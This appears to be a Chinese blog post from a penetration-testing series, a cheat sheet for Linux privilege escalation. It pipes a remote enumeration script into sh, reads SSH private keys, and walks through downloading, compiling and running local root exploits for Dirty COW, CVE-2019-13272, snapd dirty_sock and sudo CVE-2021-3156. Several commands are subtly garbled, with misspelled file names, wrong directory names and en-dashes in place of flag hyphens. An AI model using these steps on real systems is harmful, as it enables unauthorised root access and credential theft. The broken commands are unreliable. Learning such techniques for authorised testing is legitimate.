Linux提权

发布于 2021-04-26  499 次阅读


《渗透测试》目录

Linux提权信息收集    

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh   

一般用这些信息收集脚本都是将结果输出到一个txt文件中,然后下载该文件(如:./linpeas.sh > 111.txt)

  • 操作系统信息
cat /etc/issue
cat /etc/*-release
lsb_release -a
uname –a
uname –mrs
  • 环境变量    (查看path路径:echo $PATH)
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
  • 网络信息
ifconfig -a
cat /etc/network/interfaces        (网卡信息,如DHCP)
cat /etc/sysconfig/network
  • 服务信息
ps aux        (进程详细信息)
ps -elf
top
  • 应用程序信息
ls -alh /sbin/
dpkg -l
rpm -qa        (需要目标机器安装rqm)
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/
  • 计划任务    (提权常用:cat /etc/crontab)
crontab -l
cat /etc/cron*
  • 登录用户
id
who
w        (当前登陆用户)
last        (已经登陆的用户)
  • ssh密钥信息    (用户家目录下,隐藏文件夹~/.ssh/ 会存储密钥信息)
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
  • 系统通信
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup        (一定要记住)
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
  • 日志文件分析
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error_log
cat /var/log/apache2/access_log
cat /var/log/apache2/error_log
  • 上传文件环境    (用来检测命令环境)
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
  • 语言开发环境    (用来检测编译环境)
find / -name perl*
find / -name python*
find / -name gcc*    (C语言编译环境)
find / -name cc    (C++编译环境)
  • 准备和查找利用代码        (一些用来查找exp的地方)
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://www.anquanke.com/vul
https://nvd.nist.gov/vuln/categories

Linux系统内核漏洞提权

  • Linux-kernel-exploits(Linux平台提权漏洞集合)

https://github.com/SecWiki/linux-kernel-exploits

  • searchsploit搜索exp

searchsploit是一个用于 Exploit-DB 的命令行搜索工具    

下载与安装:    git clone https://github.com/offensive-security/exploit-database.git

centos:yum -y install exploitdb
macos:brew update && brew install exploitdb
kali:apt update && apt install exploitdb

ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit    (建立软链接,前面的目录为下载安装的目录)

基本搜索 会匹配标题和路径中的内容
searchsploit smb windows remote
标题搜索 只匹配标题,不会对路径中的关键词进行匹配
searchsploit -t smb windows remote
复制到剪贴板 -p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上
searchsploit -p 42315.py
复制到文件夹 不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
searchsploit -m 42315.py
  • 脏牛提权漏洞

漏洞编号:CVE-2016-5195    

漏洞名称:脏牛(Dirty COW)    

漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权  

影响范围:Linux 内核 2.6.22 < 3.9 (x86/x64) (内核版本为2.*、3.*都有该漏洞)    

POC: https://github.com/FireFart/dirtycow

gcc编译: gcc -pthread ditry.c –o dirty –lcrypt        (-o表示output,后面接文件名)
#一般的编译命令使用gcc dirty.c -o dirty编译,这里因为需要动态链接库所以使用以上命令,了解即可
#若目标没有安装gcc,则可在本地编译后上传,要根据目标系统选择x68还是x64

替换root用户: ./dirty password        (后面接密码,一定要记住这个密码)(运行后cpu占满,千万不要中止运行,否则导致root用户消失)
#用完之后要根据提示恢复密码        (mv /tmp/passwd.bak /etc/passwd)
  • CVE-2019-13272

linux本地提权    

漏洞范围:    4.10 < linux内核版本 < 5.1.17    

exploitdb:    https://www.exploit-db.com/exploits/47163    

利用exp:    https://www.exploit-db.com/download/47163

wget https://www.exploit-db.com/download/47163 -O exp.c        (-O指定文件名下载)
gcc exp.c –o exp
./exp
  • CVE-2019-7304    (该漏洞利用成功之后会自动将snap更新到高版本,也就是只能利用一次)

Linux包管理器snap本地提权漏洞    

Ubuntu版本范围:
    Ubuntu 18.10
    Ubuntu 18.04 LTS
    Ubuntu 16.04 LTS
    Ubuntu 14.04 LTS

snap版本范围:    2.28 < snapd < 2.37

漏洞利用:    https://github.com/initstring/dirty_sock         (一般使用2版本的py脚本)   

最后得到的用户虽然显示是一个普通用户,但是它属于sudo组,可通过添加sudo执行命令(密码为当前普通用户密码)   

执行sudo /bin/bash可直接进入root用户的shell    后续若需要删除用户可通过命令或者产出/etc/shadow中对应行即可删除

  • CVE-2021-3156        (Linux有ASLR默认保护机制,面试中可能会问到)

漏洞编号:CVE-2021-3156    

漏洞名称:Linux sudo权限提升漏洞    

影响版本:sudo 1.8.2-1.8.31p2、sudo 1.9.0-1.9.5p1    

漏洞检测:sudoedit -s /

如果返回以sudoedit:开头的错误,则当前系统可能存在安全风险;显示以usage:开头的错误,则无漏洞风险    

漏洞利用:    https://github.com/blasty/CVE-2021-3156.git         (Ubuntu系统)

cd CVE-2020-1356/
make
./sudo
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich <target_number>        (一般后面的数字为0)

自定义利用:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

若需利用其他版本系统漏洞,如kali系统,则如下

上传解压CVE-21-3156_fuzz.zip文件解压缩
chmod +x ./exp.sh
./exp.sh
原理为爆破,成功与否靠运气

密码哈希

  • /etc/passwd:所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分    (有些用户的密码会以哈希显示)
        1. 用户名
        2. 密码,x表示密码保存在/etc/shadow
        3. UID,0代表root
        4. GID,表示所在组
        5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
        6. 用户主目录
        7. 默认shell类型
  • /etc/shadow:只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分
        1. 用户名
        2. 加密后的密码
        3. 上次修改密码的时间(从1970.1.1开始的总天数)
        4. 两次修改密码间隔的最少天数,如果为0,则没有限制
        5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
        6. 前多少天警告用户密码将过期
        7. 在密码过期之后多少天禁用此用户
        8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用
        9. 保留

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。